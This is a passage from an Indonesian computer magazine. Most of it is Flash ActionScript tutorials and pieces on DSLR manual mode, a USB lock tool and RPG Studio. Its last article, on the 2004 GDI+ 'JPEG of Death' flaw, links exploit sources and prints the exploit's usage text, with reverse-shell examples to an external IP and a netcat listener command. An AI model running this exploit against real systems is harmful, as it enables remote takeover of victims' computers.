ucapkan selamat mencoba :-)[Hairul Azami].ilmu Website |MagazineE-learning community offline version60
  • 64. 61AnimationFlash MembuatMembuat PreloaderSederhana dan Unik& PreloaderSederhanaUnik&64Membuat Web flashsederhana (Part 1)69 Overview Website Flashdan Animasi Flashalam rubrik ini kita akan membuat aplikasi ataupunkonten-konten yang menarik yang bisa dibuat denganDmenggunakan Flash.Kita sekarang akan membuat preloader sederhanadan unik. Dikarenakan movie Flash dijalankan secarastreaming pada internet browser, maka diperlukan beberapawaktu untuk movie Flash tersebut ditampilkan secara penuh.Movie Flash ditampilkan secara satu per satu sesuai denganseberapa besar kilobytes yang telah didownload. Jika kitamembiarkan hal seperti ini, situs atau movie Flash akanterlihat kacau. Oleh karena itu, kita perlu membuat sebuahpreloader. Preloader menampilkan informasi mengenaiseberapa besar situs atau movie Flash kita telah terdownload.Agar membuat pengunjung tidak langsung bosan, alangkahlebih baiknya jika kita membuat preloader yang menarik. Bisamenggunakan animasi ataupun cara lainnya.Dalam tutorial ini, kita akan membuat preloaderberbentuk bola, dimana setiap kilobytes yang telahdidownload akan digambarkan oleh animasi bergeraknya air(isi bola) hingga penuh.
  • 65. Buatlah sebuah lingkaran berukuran 143x143 pixel. Berikanwarna gradiasi.Kita bisa memberikan efek glossy. Tapi itu terserah Anda.Kemudian, buatlah sebuah lingkaran berukuran sama denganlingkaran yang pertama kita buat pada layer baru diatasnya.Berikan warna berbeda.Setelah itu, klik kanan pada layer baru tersebut, dan pilih Mask.Dibawah layer lingkaran pertama, buatlah shape seperti padagambar berikut ini. Kemudian kelompokan layer ini di bawahlayer Mask yang telah kita buat.Posisikan shape tersebut seperti pada gambar p06. Kemudianconvert shape tersebut menjadi symbol movieclip dengan titikregistrasi di tengah atas. Beri nama Isi..ilmu Website |MagazineE-learning community offline version62
  • 66. Setelah persiapan gambar telah selesai, lanjutkan denganmembuat layer baru diatas layer Mask. Buatlah dua buah staticteks bertuliskan “Loading” dan “%”, dan buatlah sebuah DynamicKlik movieClip Isi yang telah kita buat. Lalu buka action panel(window → actions).Ketikan kode berikut:Untuk Dynamic Text, berikan nama variable persentaseLoadcText. Posisikan ketiganya seperti pada gambaronClipEvent(load){bytes=0;seluruhbytes=0;}onClipEvent(enterFrame){bytes=Math.round(_parent.getBytesLoaded()/1024);seluruhbytes=Math.round(_parent.getBytesTotal()/1024);isiBola=Math.round((bytes/seluruhbytes)*100);_y=(274-isiBola)-44;_root.persentaseLoad=isiBola;if(bytes>=seluruhbytes){_root.gotoAndStop(2);}}Buatlah sebuah layer baru, beri nama “action”. Kemudian pilihframe pertama layer tersebut, dan masukan kode berikut padaaction panel.stop();persentaseLoad=0;Berikut adalah penjelasan kode actionscript diatas.Terdapat 2 variable ketika loading, yaitu variable bytes yangdigunakan sebagai penentu jumlah bytes yang telahdidownload. Kemudian variable seluruhBytes yangdigunakan sebagai pemberi informasi ukuran filekeseluruhan yang akan didownload.Variable bytes dihitung dengan menggunakan action((bytes=Math.round(_parent.getBytesLoaded()/1024);).Untuk membulatkan nilai variable bytes, kita menggunakanMath.round. Sedangkan untuk memberikan informasijumlah bytes yang telah terdownload, digunakangetBytesLoaded(). Kemudian, hasilnya dibagi dengan 1024,yaitu nilai per kilobyte.Pada movieclip, digunakan (_y=(274-isiBola)-44;), dimana_y adalah titik koordinat movieclip, sedangkan 274 adalahkoordinat awal movieclip. Lalu, dikurangi variable isiBolayang telah dihitung berdasarkan persentase byte yang telahdidownload. Nilai 44 adalah nilai yang digunakan agar posisiakhir movieclip tepat memenuhi lingkaran (dalam hal ini,masalah penempatan dan penghitungan sesuai dengankeinginan kita, penulis hanya membeberkan rumusnya saja).Action (if(bytes>=seluruhbytes){}) maksudnya jika seluruhfile telah terdownload, maka bisa mengeksekusi perintah didalamnya (_root.gotoAndStop(2)).Nah, kita tidak akan melihat proses loading dalam status offlinekarena kecepatan load komputer lebih cepat daripada kecepatanonline. Selamat mencoba.[M. Tovan Setia Putra].ilmu Website |MagazineE-learning community offline version63
  • 67. Pada rubrik Learning by Doing ini, kita akan membuat sebuahwebsite flash yang sederhana. Bagian ini sengaja dibuat dalambeberapa part, agar pembaca bisa memahami masing-masingcontent yang diperlukan agar terbentuknya sebuah website flashyang ideal.Kita akan membuat sebuah website flash sederhanakurang lebih seperti pada gambar sw00. Penulis juga masihmenggunakan actionscript 2.0. Walaupun sudah ada actionscript3.0, penggunaan actionscript 2.0 masih banyak digunakan olehpara developer Flash. Sebenarnya hanya ada beberapaperbedaan, tetapi actionscript 2.0 masih bisa digunakan jika kitamenggunakan Adobe Flash CS3 atau CS4.Dalam Part I ini, kita terlebih dahulu akan membuat menu ataunavigasi untuk website flash yang akan kita buat ini.Sebelum kita terjun dalam pengaplikasiannya, alangkahlebih baiknya penulis menjelaskan terlebih dahulu beberapa halmengenai syarat navigasi yang efektif. Desain navigasi adalahsalah satu kunci sukses bagi web interface. Jika pengunjung situskita tahu di halaman mana mereka sedang berada, kemana sajamereka bisa berjelajah, dan bagaimana cara mereka menujukesana, maka, hal tersebut bisa dijadikan ukuran bagi kesuksesanwebsite kita..ilmu Website |MagazineE-learning community offline version65Apa saja yang membuat sistem navigasi agar efektif ?Optimalisasi HierarkiRencanakan struktur sistem navigasi untuk situs flashkita, kurangi jumlah level dalam hierarki tanpa keluar dari tujuansitus flash kita. Hal ini bisa membuat bagian dari situs yang lebihdalam bisa terakses oleh pengunjung.Dominasi desain pada sistem navigasi atau menuJangan sampai kita membuat menu yang samar, yangmembuat pengunjung harus bekerja keras mencari dimana letakmenu atau navigasi dalam situs kita berada. Dominasi desainpada sistem navigasi kita akan mempermudah pengunjungdalam mengakses tiap halaman dalam situs flash kita.Elemen InteraktifJadikan sistem navigasi dalam situs kita menjadisesuatu yang interaktif dan menyenangkan. Hal ini juga akanmenarik minat pengunjung agar kembali mengunjungi situs kitadi lain waktu.Nah, setelah kita mengetahui sedikit ilmu mengenaicara mengefektifkan sistem navigasi, kita bisa langsungmelangkah untuk membuat sistem navigasi atau menu untuksitus flash kita.Jenis navigasi yang akan kita buat ini adalah jenisnavigasi horizontal. Kita akan membuat menu yang memiliki efekmenyala dan meredup. Ketika pengunjung meletakan kursordiatas salah satu menu, maka akan timbul efek animasi menyalayang dibuat dengan cara fade in, begitu juga sebaliknya ketikapengunjung melepaskan kursor dari area menu, akan timbul efekcahaya meredup.Sekarang, kita akan membuat desain tombol menu.Dimulai dengan membuat dua buah garis tebal, masing-masinggaris memiliki ukuran berbeda. Garis yang pertama, berukuran550x10 pixel. Garis yang kedua berukuran 550x5 pixel. Susunkedua garis tersebut seperti pada gambarSetting scene kita dengan membuat sebuah layar baru. File →New.Pada properti layar, ubahlah backgroundnya menjadi berwarnaabu-abu (#cccccc).Buatlah beberapa layer yang tersusun seperti pada gambarsebagai berikutWebFlashSederhana (Part I)Membuat
  • 68. Save dengan nama yang kita suka.Selanjutnya, pada layer tombol, gambarlah sebuah kotakberukuran 80x10 pixel, dan tempatkan sesuai dengan garispertama. Lihat gambar berikut. Pilihlah warna yang sesuaidengan selera. Desain kotak yang penulis buat adalah kotaktanpa stroke.Pilih kotak yang baru saja kita buat pada layer tombol,kemudian tekan F8. Akan muncul tab Convert to Symbolseperti pada gambar berikut. Beri nama tombol tersebut.Disitu kita lihat ada 3 option. Pilihlah option Button danbiarkan titik registrasi berada di tengah, lalu klik OK..ilmu Website |MagazineE-learning community offline version65Dalam Library (buka Library dengan cara menekan tombol ctrl+L),terdapat tombol yang baru saja kita convert tadi. Pilih tomboltersebut dalam Library, lalu klik kanan dan edit. Maka, akanmuncul screen edit tombol seperti pada gambar berikut ini.Buatlah layer baru bernama “teks” pada screen tersebut. Kitamelihat disini ada frame Up, Over, Down, dan Hit. Frame Upadalah frame dimana status tombol tidak berubah, tidak sepertisaat cursor berada diatasnya ataupun saat tombol diklik.Lanjutkan dengan membuat teks Home atau teks apapun sesuaikeinginan, pada layer teks. Teks ini akan digunakan untukpenamaan menu.Tekan ctrl+E untuk kembali ke stage utama.Pada Library, terdapat tombol yang tadi kita edit. Pilih tomboltersebut, klik kanan dan klik Duplicate. Tombol tersebut kitaduplicate agar mengefesienkan waktu. Pada tab Duplicate toSymbol seperti pada gambar berikut ini, beri nama yang berbedadan mudah dimengerti, lalu klik OK. Edit masing-masing tomboltersebut, dengan warna berbeda. Disini penulis membuat 4tombol.Drag tombol-tombol dari Library ke stage utama. Susunlahsehingga hasilnya seperti terlihat pada gambar berikut iniSekarang, beralih ke layer “mc utama”, buatlah sebuah kotakberukuran 80x20 pixel. Yang harus diutamakan adalah ukuranpanjang kotak sama dengan panjang tombol. Bisa dilihatcontohnya pada gambar berikut ini.
  • 69. Fill kotak tersebut dengan warna gradiasi linear. Sesuaikan warnadengan warna tombol, dengan alpha 80%, dan pada bagian warnaputih dengan alpha 0%..ilmu Website |MagazineE-learning community offline version66Dengan menggunakan Fill Transform Tool (shortcut denganmenekan tombol F), rotate gradiasi linear yang kita buat tadisehingga vertikal ke bawah seperti pada gambar berikut ini.10Kemudian, select kotak yang baru saja kita buat tersebut danubah menjadi symbol movieclip. Lakukan hal serupa denganmenduplicate movie clip tersebut, dan susun seperti padagambar berikut ini.10Saatnya kita memberikan instance name pada masing-masingmovieclip.Instance name harus kita buat agar movieclip yang kita buat bisadiakses oleh actionscript. Pilih movieclip yang baru saja kita buattadi,danpadatabProperties,ketiknamainstanceuntukmoviecliptersebut. Pada Properties movieclip, ubahlah color dari NonemenjadiAlpha,dengannilaiAlpha0%.Lakukan hal yang sama untuk pemberian instance name padatombol
  • 70. Sekarang kita melangkah pada proses memberikan kode. Padalayer action, frame 1, klik frame 1 tersebut, dan buka tab Actions(Window → Actions) seperti pada gambar berikut ini.Kita akan membuat beberapa kode yaitu :?Fungsi untuk mengontrol animasi menyala pada movieclip.?Fungsi untuk mengontrol animasi meredup pada movieclip.?Perintah onRollOver dan onRollOut untuk tombolKetikan kode dibawah ini pada panel Actions..ilmu Website |MagazineE-learning community offline version67function menyala(warna) {warna.onEnterFrame =function() {if(this._alpha<100) {this._alpha += 10;}};}function meredup(warna) {warna.onEnterFrame =function() {if(this._alpha>0) {this._alpha -= 5;}};}Kedua fungsi ini membuat movieclip menjadi menyala danmeredup ketika kursor berada diatas tombol dan ketika kursordiluar area tombol. Tiap fungsi membuat movieclip sebagaiparameter dan menerapkan sebuah movie event.Dalam hal ini, setiap diawali tanda { berarti merupakan awalpengeksekusian kode. Didalamnya terdapat movie event yaituonEnterFrame, yang menjalankan movie itu sendiri setiap frameper animasi. Jika kita mensetting FPS sebesar 12, berarti animasitersebutakandijalankansebanyak12framedalamsatudetik.Selanjutnya, disertakan pula movie event pengontroltransparansi(this._alpha). Artinya, menambahkan alphasebanyak 10% sampai pada nilai maksimal alpha yang dimilikimovieclip (kita telah mensetting-nya 80% pada gradiasi warnadominandan0%untukgradiasikewarnatransparan).Untuk setiap tombol pada stage, tambahkan kode untukmengontroltransparansimovieclipyangberadadiatasnya.namaTombol.onRollOver = function () {menyala (namaMovieClip);};namaTombol.onRollOut = function () {meredup (namaMovieClip);};Untuk pengaplikasiannya, ketik kode dibawah ini. Kode iniuntuk memunculkan movieclip “merah” yang berada diatastombol Portfolio ketika kursor berada diatas tombol tersebut,sehingga terkesan menimbulkan efek menyala//tombol 1home.onRollOver = function() {menyala(hijau);};home.onRollOut = function() {meredup(hijau);};//tombol 2about.onRollOver = function() {menyala(kuning);};about.onRollOut = function() {meredup(kuning);};//tombol 3portfolio.onRollOver = function() {menyala(merah);};portfolio.onRollOut = function() {meredup(merah);};//tombol 4contact.onRollOver = function() {menyala(ungu);};contact.onRollOut = function() {meredup(ungu);};
  • 71. Save dan tekan ctrl+Enter dan lihat hasilnya.Beberapa properties lainnya yang bisa kita gunakan untukmengontrol movieclip yaitu :_x =untukposisihorizontal_y =untukposisivertical_xscale = untuk mengubah persentase skalahorizontal_yscale =untukmengubahpersentaseskalavertical_rotation =untukpersentaserotasi_width =untukpersentasepanjang_height =untukpersentaseluas_alpha =untukpersentasetransparansiKita akan membuat masing-masing halaman dalam website flashini pada edisi IlmuWebsite yang berikutnya[M. Tovan SetiaPutra]..ilmu Website |MagazineE-learning community offline version68hasil akhir
  • 72. dobe Flash adalah sebuah software multimedia yangsering digunakan untuk membuat website interaktif.ASoftware ini juga merupakan program yang memiliki fiturmaksimal untuk memenuhi tujuan pengaplikasiannya. Kita bisamembuat hampir semua program interaktif yang pernah kitabayangkan. Seiring dengan perkembangan teknologi, bahkansoftware ini telah banyak digunakan untuk membuat RIA (RichInternet Application).Namun, masih banyak orang yang enggan untukmenggunakan Flash sebagai software andalan dalam membuatwebsite atau program interaktif. Kebanyakan dari merekalangsung berpaling ketika melihat panel actionscript dalam Flash,mungkin yang terbayang adalah lautan kode pemrograman yangbisa membuat rambut rontok. Ini memang kenyataan yang takbisa dipungkiri, selain alasan lain yaitu lumayan mahalnyasoftware ini, apalagi setelah dimiliki oleh Adobe (sebelumnyamilik Macromedia).Terlepas dari sisi kompleksitasnya, kita masih bisamemanfaatkan software ini untuk animasi. Sebenarnyapenggunaan software ini lebih difokuskan untuk animasi web,pada awalnya. Lagipula, untuk suatu aplikasi yang rumit sepertipenerapannya dalam RIA, software ini masih bisa dibilangmemiliki keterbatasan dibandingkan dengan software-softwareyang memang dikhususkan untuk membangun RIA.Kembali ke topik utama, website Flash saat ini memangmenjanjikan dari segi komersialitas. Mungkin, untuk persainganharga dengan web RIA, website Flash masih berada dibawahnya.Namun, jika kita cermati, masing-masing jenis website memilikipasar tersendiri. Tentunya, seiring dengan semakin majunyateknologi terutama dalam dunia internet, permintaan websiteflash semakin meningkat. Sepertinya tren menggunakan statichtml website sudah mulai ditinggalkan. Walaupun begitu, bukanberarti static html website benar-benar akan punah. Dari segiwaktu pembuatan, static html website masih menjadi pilihanutama..ilmu Website |MagazineE-learning community offline version69Animation Goes on Internetentunya kurang menarik jika sampai saat ini kitahanya menggunakan website HTML yang statis.TSebenarnya, sebelum munculnya Flash, animasitelah digunakan di dunia internet. Biasanya animasi yangberformat .gif yang sering digunakan. Namun, dikarenakanketerbatasannya, animasi gif pun dirasa kurang optimal.Beruntunglah dengan adanya Flash, impian untuk mewujudkaninternet yang interaktif dan dinamis pun bisa tercapai.Perkembangan teknologi internet memangmendukung software multimedia ini. Bisa kita lihat dari sebuahfakta bahwa hampir semua browser terinstall ShockWave Flashplayer, atau biasa disebut swf player, yaitu sebuah plugin yangbisa memainkan file-file berkestensi .swf ataupun .flv (FlashVideo) yang memang merupakan tipe file yang dieksport dariFlash. Oleh karena itu, jangan heran kalau sekarang ini sangatbanyak aplikasi berbasis Flash yang bertebaran di dunia maya,contohnya Flash game online, video player (Youtube), mp3player, dan sebagainya. Pengolahan grafik vector dan raster, yangdiunggulkan software ini, menciptakan tren baru yangmenyemaraki ramainya aplikasi-aplikasi unik di internet, tanpaharus bersusah payah memikirkan cara mengoptimalisasi ukuranfile. Ukuran file yang efisien dan hasil animasi maksimal adalahkelebihan utama dari software ini.Bersandar kembali kepada daya magis dunia internet,animasi memang telah mewarnai lautan dunia maya tersebut.Pemenuhan kriteria interaktif yang dibutuhkan oleh website-website, memberikan peluang emas bagi animasi agarpengoptimalan daya tarik bagi website tersebut bisa tercapai.Dengan memanfaatkan animasi, akan menaikkan nilai senisebuah website tentunya.Kita tidak bisa mengelak lagi akan adanya fakta yangmembeberkan pemanjaan teknologi yang ditawarkan di duniainternet. Ditambah dengan adanya animasi, eksistensimultimedia dalam dunia internet semakin mantapMembuat Animasi Flash itu MudahJika kita ingin menjadi seorang Flash Animator, janganhiraukan pendapat-pendapat orang mengenai sulitnyapemrograman. Itu mungkin hanyalah sebuah sugesti yangmembuat kita enggan menyentuh Flash. Sebenarnya, bahasapemrograman yang digunakan Flash, yaitu actionscript, bukanlahsebuah bahasa pemrograman yang sulit untuk dipelajari. Padakenyataannya, kita memang harus menyentuh actionscript untukmenjadi seorang Flash Animator. Kegunaan actionscript tentunyauntuk mengefesienkan proses pembuatan animasi itu sendiri.Tetapi tidak semua animasi harus menggunakan actionscript.Terkadang, sistem animasi frame per frame mematahkankeharusan dalam menggunakan actioncript.Kembali ke pokok pembicaraan, inilah saatnya untukmemulai belajar membuat animasi. Seperti yang penulissebutkan diatas, dengan menggunakan, Flash, siapapun bisamembuat animasi tanpa diperlukan keahlian menggambar.Mungkin beberapa hal yang memang harus kita ketahui sebagaipengetahuan dasar membuat animasi, adalah pemahamanmengenai sifat pergerakan suatu benda. Misalnya, jika kitamelemparkan sebuah bola keatas, kecepatan bola tersebut akansemakin berkurang sampai pada titik tertingginya, yaitu titikdimana bola akan bergerak sebaliknya, yaitu mengarah kebawah,sesuai dengan gravitasi. Kemudian, seandainya bola tersebutmemantul, setiap pantulan yang dihasilkannya memilikibeberapa fase yang berbeda sampai bola tersebut tidakmemantul lagi. Itu hanyalah contoh sederhana dalam penerapananimasi. Tujuannya adalah agar motion atau pergerakan yangdibuat tidak terlihat monoton. Bahkan, jika memang diperlukan,beberapa prinsip animasi untuk kartun juga bisa digunakan.Nah, sekarang, bulatkan tekad jika ingin menjadiseorang Flash Animator. Pada kenyataannya, membuat animasiFlash tidak serumit yang kita bayangkan. Tinggal kita praktekansaja. [M. Tovan Setia Putra]WebsiteFlashAnimasiOverview& Flash
  • 73. 70FotographyFotographyMengakrabkan diri denganMode Manual73Referensi Mode ManualKamera DSLRMengakrabkan diri dengan Mode ManualMode manual merupakan mode yangsettingan seluruhnya dilakukan secaramanual, mulai dari ISO, Shutter Speed /Kecepatan Rana hingga Diafragma /Aperture.Berikut adalah beberapa hal yang secaracermat harus kita kuasai pada modemanual1. Shutter Speed2. Diafragma3. ISO1. Posisikan mode pada mode manual seperti gambardisamping.2. Oke, sekarang posisikan ISO pada 200, kemudianPosisikan Shutter Speed pada 125..ilmu Website |MagazineE-learning community offline versionMengakrabkanDiriDenganModeManual70
  • 74. 3.Cobalah lakukan pengambilan gambar dengan hanya merubahAperture atau diafragma saja. Perhatikan gambar – gambarberikut ini penulis menggunakan ISO dan Shutter Speed yangsama dan hanya merubah settingan Diafragma untuk setiappengambilan gambarnya. Gambar diambil pada jam 02.30 siang.Aperture 4.5 (Gambar terlihat Sedikir Over Exposure)Aperture 11 (Gambar terlihat Cukup Baik)Aperture 22 (Gambar terlihat Under Exposure)4. Sekarang Cobalah lakukan pengambilan gambar dengan hanyamerubah Shutter Speed atau Kecepatan Rana saja. Posisikan ISOdi 200 dan Aperture di 11.5. Perhatikan gambar – gambar berikut ini, penulis menggunakanISO dan Shutter Speed yang sama dan hanya merubah settinganDiafragma untuk setiap pengambilan gambarnya. Gambar diambilpada jam 02.30 siang.Shutter Speed 1/15 (Gambar terlihat Over Exposure)Shutter Speed 1/125 (Gambar terlihat Cukup Baik)Aperture 640 (Gambar terlihat sedikit Under Exposure)6. Sekarang giliran ISO, Cobalah lakukan pengambilangambar dengan hanya merubah ISO Saja. PosisikanDiafragma di 11 kemudian Shutter Speed di 125..ilmu Website |MagazineE-learning community offline version71
  • 75. 7. Perhatikan gambar – gambar disamping penulis menggunakanISO dan Shutter Speed yang sama dan hanya merubah settinganDiafragma untuk setiap pengambilan gambarnya. Gambar diambilpada jam 02.30 siangISO 200 (Gambar terlihat sangat pas dipadukan dengan Shutter Speeddan diafragma diatas.)ISO 640 (Gambar terlihat Sedikit Over Exposure)ISO 1600 (Gambar terlihat Over Exposure).ilmu Website |MagazineE-learning community offline version72
  • 76. Adapun Speed, merupakan kecepatan membuka sekaligusmenutup rana, sebuah tirai yang menjadi jeda terhadap sensorpenerimacahaya.BerikuthitunganShutterSpeed.60 artinya 1/60 detik, 125 artinya 1/125 detik dan seterusnyahingga anda menemukan posisi B atau bulb, merupakan posisidimana shutter bergerak sesuai dengan tekanan / push buttonolehjarianda.Diafragma / Dof, merupakan pembukaan lensa. Secara teknislensa yang ada pada DSLR selalu memiliki ukuran DOF, nahukuran DOF ini yang nantinya membatasi kekuatan cayaha yangakan diterima oleh sensor pada sebuah lensa. Berikut nilai-nilaiDOF/Diafragma.2.8,5.6,8,16dll[YogiWicaksono]ode manual, merupakan mode dimanaseorang fotografer dituntut untuk menguasaiMpenuh senjata yang ia gunakan. Mulai dari Fellhingga kemampuan menggunakan tools kamera sudah mutlakharusdikuasai.Menggunakan mode manual, berarti melakukan pengaturanISO, Speed dan Diagfragma secara manual. Berikut penjelasanmengenaiketigahaltersebut:ISO, sama seperti Asa yang digunakan pada media film.Merupakan penentuan kepekaan cahaya terhadap sensor, danISO sendiri merupakan pengukuran standar internasional.Secara teknis semakin kecil nilai ISO, semakin rendah jugakepekaanya terhadap cahaya. Sebaliknya ketika melihatkekuatancahayayangsangatminim,ISOdengannilaiyangbesaryangsebaiknyaandagunakan..ilmu Website |MagazineE-learning community offline version73ReferensiMode ManualKameraDSLR
  • 77. Kunci mati sistemoperasi andadengan USB System&Software74.ilmu Website |MagazineE-learning community offline versionSemua orang bisamembuat gamedengan RPG75G a m esistemoperasiAndadenganentunya sekarang komputer merupakan barang yang sangatberguna untuk berbagai pekerjaan kita. Penggunaannya mulaiTdari pekerjaan formal sampai hal-hal kecil maupun hiburan.Betapa berharganya pekerjaan anda maupun bila anda sedangmenyeting situs-situs hiburan – contohnya situs community–ataupun apa yang anda download, semestinya dijaga dari tangan-tangan yang tidak diinginkan.Untuk itu tidak ada salahnya anda untuk mencoba program yang satuini. Berfungsi mengunci komputer saat Flash Disk anda dicabut darikomputer. Lalu bila hendak menggunakan komputer lagi, andatinggal memasukan lagi flash disk ke port usb komputer anda,barulah komputer bisa digunakan.Installing sistem USB Lock.1. Buka program USB System Lock Key Disk Creator. Klik Start -programs - USB System Lock - Key Disk Creator2. Masukkan flash disk anda3. Lalu tekan refresh. Maka flash disk anda pun akanterdeteksi.4. Pilih flash disk anda lalu klik next5. Klik finishNah, sekarang kita akan mencoba program ini. Keluarkan flash diskanda, klik icon flash disk lalu klik safely remove USB mass storagedevice, lalu aktifkan USB System Lock. Klik start - programs - USBSystem Lock - USB System Lock. Maka komputer anda pun akan dilock oleh program tersebut seperti pada gambar dibawah ini.Anda pun bisa menggunakan program ini secara otomatis. Yaitusaat flash disk dicabut, otomatis program ini akan bekerja.Caranya mudah sekali. Aktifkan program agent pada programtersebut. Klik Start - programs - USB System Lock - Key DiskCreator. Akan ada icon baru seperti pada gambar dibawah ini.Bila anda ingin mengembalikan komputer anda ke modenormal, masukan flash disk anda tadi. Maka komputer punakan segera masuk ke mode normal.NB: anda tidak bisa mengembalikan mode normal denganmemasukan flash disk lain selain flash disk yang kita bahaspada point installing software diatas[ awan / hg_ ]KunciMatiUSB System Lock
  • 78. .ilmu Website |MagazineE-learning community offline version7575ermainan online merupakan teknologi yang makinberkembang dengan pesatnya. Di Indonesia, penggunaPgame pun juga semakin banyak. Ini bisa di maklumikarena makin banyak komunitas-komunitas pecinta game diIndonesia. Disamping itu terdapat pula sarana-saranapendukung lainnya seperti bertaburannya warnet-warnet yangtidak hanya memfasilitasi penggunaan internet, tetapi juga gameonline. Karena itu, secara tidak langsung warnet-warnet tersebutmempromosikan game-game tersebut.Karena alasan itu, muncul lah profesi baru yang kian diminatioleh banyak orang. Yaitu profesi membuat game. Ini dimulaidengan adanya perusahaan-perusahaan dunia yang mendirikanperusahaannya di Indonesia. Mulai dari perusahaan out sourcingtenaga programmer sampai dengan perusahaan art sudah mulaibermunculan di Indonesia. Dengan demikian, terbukakesempatan kerja baru didunia pembuatan game. Mulai daribagian 2D Art, 3D Art, Programmer, Sound Engineering dan lainsebagainya.Mungkin ada pertanyaan dibenak para pembaca, adakahprogram yang memungkinkan kita membuat game sendiri tanpaharus mengusai bahasa pemrograman apapun? Program yangbisa menuangkan ide-ide kreatif kita tentang pembuatan game,yang bisa menunjukan kreatifitas kita dalam membuat art suatugame? Jawabannya adalah ada. Program ini bernama RPG StudioRPG Studio memungkinkan anda untuk membuat sebuah gamedengan hanya menggunakan mouse dan keyboard yang sangatmudah dan sederhana. Klik ini klik itu, dan jadilah game anda.Bagi kalangan pemula ini adalah kabar gembira. Lebih gembiralagi bahwa program ini bebas biaya alias gratis. Lebih gembira-gembira lagi :D bahwa program ini buatan orang Indonesia.1. BukalahfileyangbernamaRPGStudio.exe2. KlikAgree/Setuju3. Untuk membuat project baru, klik Start New Project.Untukmelanjutkanprojectyangsudahada, klik Continue Exiting Project. Untuk contoh ini, kitaklikStartNewProject4. Berikan nama project anda, lalu klik save. Tentukandirektoriataufolderuntukmenyimpangameanda5. KlikOk6. Sekarang kita siap untuk memulai pembuatan game.Kliklah Add Resources From Library. Maka akan keluarpilihan kategori yang ada. Pada contoh ini, pilihlah arealalukliktombolselect7. Bila anda sudah memiliki library area, maka akan adabanyak pilihan area yang ada pada menu tersebut. Bilaanda tidak melihat pilihan apa-apa disana, sebaiknyaandamembuatataumendownloadlibraryareauntukprogramanda.8. Pilih salah satu opsi yang ada disana, klik Select, lalu klikBack9. Kemudian kita akan memilih karakter yang masukkedalamgamekita.KliklahAvatarClass,lalu pilih karakter yang tersedia sama seperti pemilihanareapadalangkahsebelumnya.Dibuat oleh seorang bernama Frank Albert Pangajow, programini mempunyai moto “Everyone Can Develop Game”, benarsekali. Dengan hanya mengklik beberapa kali mouse saja, andasudah membuat game yang sudah jadi. Simaklah contohsederhana pembuatan gam10. Misalnya kita sudah selesai dengan menggunakanprogram tersebut dan ingin segera menggunakan gamekita tersebut, kliklah tombol OK dibagian bawah tengahprogram.LaluklikPlayGame.11. Pilih Start tunggu hingga proses converting dan proseslainnyaselesai12. Selesai. Maka game sederhana yang kita buat tadi punsudahjadi.Seperti yang dikatakan tadi, mulai banyak berdiri perusahaan-perusahaan game di Indonesia. Karena itu, penggunaan Programini bisa digunakan untuk para pencari lowongan pekerjaandidunia game untuk membuat sejenis portofolio atau contohgame untuk digunakan sebagai sebuah demo untuk sebuahperusahaan. Atau mungkin juga untuk para kalangan yang hobidengan game, bisa membuat dan mengembangkan game impianmereka. Atau mungkin juga bagi yang sekedar ingin coba-cobamembuat sebuah game. Dan akhirnya, semua orang bisamembuat game dengan RPG Studio.[ awan / hg_ ]Semua orang bisamembuatGAME denganRPG
  • 79. 76.ilmu Website |MagazineE-learning community offline version78NetworkingEksploitasi AncamanJPEG-OF-DEATHKONFIGURASI DANPEMANFAATAN VPN(VIRTUAL PRIVATE NETWORK)DALAM BISNIS ONLINE76al ini bermula pada tanggal 16 September silam,Seorang bernama Nick DeBaggis mengirimkan pesanHkepada Microsoft bahwa ada kesalahan penanganan filegambar JPEG pada system operasi yang dipimpin oleh Bill Gatesini. Bug ini dikategorikan sebagai HighRisk oleh Microsoft karenapada permasalahan ini memungkinkan adanya penyeranganyang dapat dilakukan oleh Hacker.Pada system Windows terdapat sebuah file dengan nama GDI+(gdiplus.dll) yang berfungsi untuk menampilkan gambar denganfile JPG. Kesalahan yang dimanfaatkan yakni header suatu filegambar sengaja dirubah untuk keperluan dari suatu individuyang bisa disebut bung HackerPerintah-perintah yang siap dieksekusi akan dimasukan padabagian header tersebut. Akibatnya script yang dimasukan dalamheader tersebut akan terekseksi secara otomatis dan banyak halyang dapat kita lakukan memanfaatkan kesalahan tersebut.Untuk lebih memahami lebih detail mengenai proses eksploitasiitu diperlukan pemahaman dasar seputar bahasa mesin ataulazim disebut dengan bahasa Assembly.Banyak eksploitasi lain yang bisa anda dapatkan, situs yangdapat dijadikan referensi antara lain :http://securityfocus.com/data/vulnerabilities/exploits/JpegOfDeathv0_6_a.cPada bahasan ini kita akan membahas program JpegOfDeath.ckarena menurut saya program ini sudah memadai untuk kitagunakan.http://securityfocus.com/data/vulnerabilities/exploits/Crash-test.Ziphttp://securityfocus.com/data/vulnerabilities/exploits/jpegcompoc.Ziphttp://securityfocus.com/data/vulnerabilities/exploits/ms04-028.Ziphttp://securityfocus.com/data/vulnerabilities/exploits/JpegOfDeath.c03/14/2009 08:44 AM <DIR> effes03/14/2009 06:09 PM 12,205Eksploitasi Ancaman JPEG.docx03/14/2009 05:43 PM <DIR> FILEGAMBAR VPN11/15/2004 03:44 AM 163,953JpegOfDeath.exe03/13/2009 07:18 AM 31,776,783mydrivers.zip03/14/2009 09:25 AM 6,459,495 ST12-Saat-Terakhir.mp303/14/2009 05:41 PM 17,530 VPN.docx03/14/2009 05:43 PM 193,838 VPN.zip9 File(s) 44,188,398 bytes5 Dir(s) 63,878,664,192 bytesfreeE:>jpegofdeath.exe+------------------------------------------------+| JpegOfDeath - Remote GDI+ JPEG RemoteExploit || Exploit by John Bissell A.K.A. HighT1mes|| September, 23, 2004|+------------------------------------------------+Exploit Usage:jpegofdeath.exe -r your_ip | -b [-pport] <jpeg_filename>EksploitasiAncamanJPEGOFDEATH
  • 80. .ilmu Website |MagazineE-learning community offline version77Parameters:-r your_ip or -b Choose -r forreverse connect attack modeand choose -bfor a bind attack. By defaultif you dontspecify -r or -b then a bindattack will begenerated.-p (optional) This optionwill allow you to change the portused for a bindor reverse connect attack.If the attackmode is bind then thevictim willopen the -p port. If the attackmode is reverseconnect then the port youspecify will bethe one you want to listenon so thevictim can connect to youright away.Examples:jpegofdeath.exe -r 68.6.47.62 -p 8888test.jpgjpegofdeath.exe -b -p 1542 myjpg.jpgjpegofdeath.exe -b whatever.jpgjpegofdeath.exe -r 68.6.47.62exploit.jpgRemember if you use the -r option to havenetcat listeningon the port you are using for the attack sothe victim willbe able to connect to you when exploited...Example:nc.exe -l -p 8888E:>OKE sudah hampir mantap.. tapi masih ada yang kurang, sekarangkita jalankan aksinya.JPEGOFDEATH adalah salah satu contoh program eksploitasikesalahan file GDI dari Microsoft. Program ini memilikikemampuan reverse connect. Kakek dari penulis pernahmenjelaskan arti dari reverse connect adalah 